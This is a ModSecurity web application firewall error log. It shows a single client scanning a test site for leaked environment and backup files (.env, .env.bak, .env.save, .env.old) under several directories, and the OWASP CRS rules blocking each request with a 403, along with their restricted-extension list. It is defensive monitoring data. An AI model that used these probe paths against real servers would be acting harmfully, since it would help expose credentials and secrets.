[Sun Oct 26 01:24:30.938436 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env.save"] [unique_id "aP1cLtPNphQKiiMCb4eQiAAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:30.938709 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env.save"] [unique_id "aP1cLtPNphQKiiMCb4eQiAAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:31.543748 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env.bak"] [unique_id "aP1cL9PNphQKiiMCb4eQiQAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:31.543942 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /application/.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env.bak"] [unique_id "aP1cL9PNphQKiiMCb4eQiQAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:31.544195 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env.bak"] [unique_id "aP1cL9PNphQKiiMCb4eQiQAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:31.544419 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env.bak"] [unique_id "aP1cL9PNphQKiiMCb4eQiQAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:32.149169 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env.old"] [unique_id "aP1cMNPNphQKiiMCb4eQigAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:32.149359 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /application/.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env.old"] [unique_id "aP1cMNPNphQKiiMCb4eQigAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:32.149590 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env.old"] [unique_id "aP1cMNPNphQKiiMCb4eQigAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:32.149780 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/application/.env.old"] [unique_id "aP1cMNPNphQKiiMCb4eQigAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:32.754978 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /system/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/system/.env"] [unique_id "aP1cMNPNphQKiiMCb4eQiwAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:32.755304 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/system/.env"] [unique_id "aP1cMNPNphQKiiMCb4eQiwAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:32.755978 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/system/.env"] [unique_id "aP1cMNPNphQKiiMCb4eQiwAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:33.367661 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /system/.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/system/.env.save"] [unique_id "aP1cMdPNphQKiiMCb4eQjAAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:33.367914 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/system/.env.save"] [unique_id "aP1cMdPNphQKiiMCb4eQjAAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:33.368100 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/system/.env.save"] [unique_id "aP1cMdPNphQKiiMCb4eQjAAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:33.985965 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/system/.env.bak"] [unique_id "aP1cMdPNphQKiiMCb4eQjQAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:33.986165 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /system/.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/system/.env.bak"] [unique_id "aP1cMdPNphQKiiMCb4eQjQAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:33.986418 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/system/.env.bak"] [unique_id "aP1cMdPNphQKiiMCb4eQjQAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:33.986601 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/system/.env.bak"] [unique_id "aP1cMdPNphQKiiMCb4eQjQAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:34.593912 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/system/.env.old"] [unique_id "aP1cMtPNphQKiiMCb4eQjgAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:34.594105 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /system/.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/system/.env.old"] [unique_id "aP1cMtPNphQKiiMCb4eQjgAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:34.594418 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/system/.env.old"] [unique_id "aP1cMtPNphQKiiMCb4eQjgAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:34.594608 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/system/.env.old"] [unique_id "aP1cMtPNphQKiiMCb4eQjgAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:35.202067 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env"] [unique_id "aP1cM9PNphQKiiMCb4eQjwAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:35.202470 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env"] [unique_id "aP1cM9PNphQKiiMCb4eQjwAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:35.202725 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env"] [unique_id "aP1cM9PNphQKiiMCb4eQjwAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:35.808716 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env.save"] [unique_id "aP1cM9PNphQKiiMCb4eQkAAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:35.808976 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env.save"] [unique_id "aP1cM9PNphQKiiMCb4eQkAAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:35.809187 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env.save"] [unique_id "aP1cM9PNphQKiiMCb4eQkAAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:36.415741 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env.bak"] [unique_id "aP1cNNPNphQKiiMCb4eQkQAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:36.415931 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env.bak"] [unique_id "aP1cNNPNphQKiiMCb4eQkQAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:36.416177 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env.bak"] [unique_id "aP1cNNPNphQKiiMCb4eQkQAAAAA"], referer: https://www.google.com/
[Sun Oct 26 01:24:36.416386 2025] [:error] [pid 3764940] [client 3.107.185.28:36388] [client 3.107.185.28] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/core/.env.bak"] [unique_id "aP1cNNPNphQKiiMCb4eQkQAAAAA"], referer: https://www.google.com/
